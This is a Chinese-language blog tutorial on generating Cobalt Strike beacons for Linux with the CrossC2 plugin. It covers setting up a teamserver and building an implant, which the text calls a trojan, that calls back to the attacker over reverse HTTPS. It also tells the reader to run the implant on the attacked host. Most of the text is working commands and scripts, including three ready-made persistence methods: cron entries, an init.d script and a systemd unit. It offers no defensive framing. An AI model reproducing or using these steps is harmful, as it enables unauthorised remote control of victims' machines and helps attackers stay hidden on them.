1.CrossC2开源工具
使用CrossC2的插件,类似于在linux上反弹一个cobaltstrike类的shell。
(1)github地址
https://github.com/gloxec/CrossC2
(2)文件下载地址
https://github.com/gloxec/CrossC2/releases/download/v3.1.2/CrossC2Kit-GithubBot-2023-03-27.zip
(3)详细使用:
- 下载CrossC2.cna,genCrossC2和CrossC2Kit,并修改CrossC2.cna的配置。
- 创建监听器并复制密钥。
- 创建windows/beacon_https/reverse_https监听器。
- 将teamserver目录中的.cobaltstrike.beacon_keys复制到本地。
- 扩展功能。
- 添加CrossC2Kit_Loader.cna,包括内存加载和其他功能。
- cs4.x版本文件管理,进程列表功能缺失,必须使用此Loader重新启动。
- 生成beacon。
CobaltStrike 支持版本:
| CS4.0 | CS4.X (>=4.1) | |
Master branch | ? | ||
cs4.0 branch | ? | ||
cs4.1 branch | ? | ||
Release Page <= v2.1 | ? | ||
Release Page >= v2.2 | ? |
2.服务端部署
2.1cobaltstrike服务端部署
chmod +x teamserver
./teamserver [ip] [password]
2.2客户端连接
2.3建立一个监听器,需要注意的是crossc2插件只支持https的beacon
2.4生成木马
我这里是在服务端的cobaltstrike目录直接生成的,如果在非服务端生成需要将服务端根目录的隐藏文件.cobaltstrike.beacon_keys复制下来放到cs根目录
chmod +x genCrossC2.Linux
./genCrossC2.Linux [ip] [port] ./.cobaltstrike.beacon_keys null Linux x64 /tmp/test
被攻击端执行命令
chmod +x test
./test
2.5权限维持
1.利用定时任务
通过设置定时任务,定期检查 CobaltStrike 是否在运行,如果没有运行则启动 CobaltStrike 程序并以 root 或其他高权限用户身份运行。这种方式适用于长期的权限维持。
首先,使用 crontab 命令编辑当前用户的定时任务:
crontab -e
然后,在文件中添加以下内容,表示在每分钟检查一次 CobaltStrike 进程是否在运行,如果不在,则启动 /opt/cobaltstrike/cobaltstrike 进程:
* * * * * if ! pgrep -x "cobaltstrike" > /dev/null; then /opt/cobaltstrike/cobaltstrike; fi
需要注意的是,该命令中的路径和进程名需要替换为实际的程序路径和进程名。
更简单的利用:
crontab -e
@reboot /tmp/test
2.利用 init 脚本启动服务
通过编写 init 脚本,并将其放置在 /etc/init.d 目录下,实现服务的启动、停止、重启等操作,从而达到权限维持的效果。
首先,创建一个名为 cobaltstrike 的文件,放置在 /etc/init.d 目录下,并增加可执行权限:
touch /etc/init.d/cobaltstrike
chmod +x /etc/init.d/cobaltstrike
然后,将以下内容添加到 cobaltstrike 文件中:
#!/bin/bash
### BEGIN INIT INFO
# Provides: cobaltstrike
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: CobaltStrike persistence script
# Description: This script will automatically start CobaltStrike and ensure its persistence.
### END INIT INFO
case $1 in
start)
if ! pgrep -x "cobaltstrike" > /dev/null; then
/opt/cobaltstrike/cobaltstrike
fi
;;
stop)
pkill -x "cobaltstrike"
;;
restart)
pkill -x "cobaltstrike"
sleep 5
if ! pgrep -x "cobaltstrike" > /dev/null; then
/opt/cobaltstrike/cobaltstrike
fi
;;
*)
echo "Usage: $0 {start|stop|restart}"
exit 1
;;
esac
exit 0
其中,需要根据实际情况修改 CobaltStrike 程序的路径。
最后,使用以下命令启用服务、开机自启,并启动服务:
systemctl enable cobaltstrike
systemctl start cobaltstrike
3.利用 systemd 启动服务
systemd 是目前主流的 Linux 启动管理器之一,可以制作一个 systemd unit 文件,并通过 systemctl 启动该服务。这种方式不仅具有自动重启,还能够进行进程监控和日志记录等功能。
首先,在 /etc/systemd/system 目录下创建一个名为 cobaltstrike.service 的文件,并增加以下内容:
[Unit]
Description=CobaltStrike persistence script
After=network.target
[Service]
ExecStart=/opt/cobaltstrike/cobaltstrike
Restart=always
[Install]
WantedBy=multi-user.target
其中,需要根据实际情况修改 CobaltStrike 程序的路径。
然后,使用以下命令启用服务、开机自启,并启动服务:
systemctl daemon-reload
systemctl enable cobaltstrike.service
systemctl start cobaltstrike.service
以上就是三种常用的 Linux 权限维持方式及对应的参考详细命令。不同的方法适用于不同的场景,需要根据实际情况进行选择和使用。
本文暂时没有评论,来添加一个吧(●'◡'●)